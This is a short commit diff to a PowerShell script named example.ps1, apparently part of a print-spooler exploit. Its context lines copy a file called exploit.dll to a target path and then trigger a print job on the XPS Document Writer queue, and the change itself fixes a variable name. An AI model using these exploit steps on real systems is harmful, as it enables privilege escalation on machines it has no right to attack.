Update example.ps1

Author: OneLogicalMyth

example.ps1

@@ -9,6 +9,6 @@ Copy-Item exploit.dll $Target
 # trigger print job
 Add-Type -AssemblyName System.Printing
 $PrintServer = new-object System.Printing.PrintServer
-$Queue = $server.GetPrintQueue('Microsoft XPS Document Writer')
+$Queue = $PrintServer.GetPrintQueue('Microsoft XPS Document Writer')
 $Job = $Queue.AddJob()
 $Job.JobStream.Close()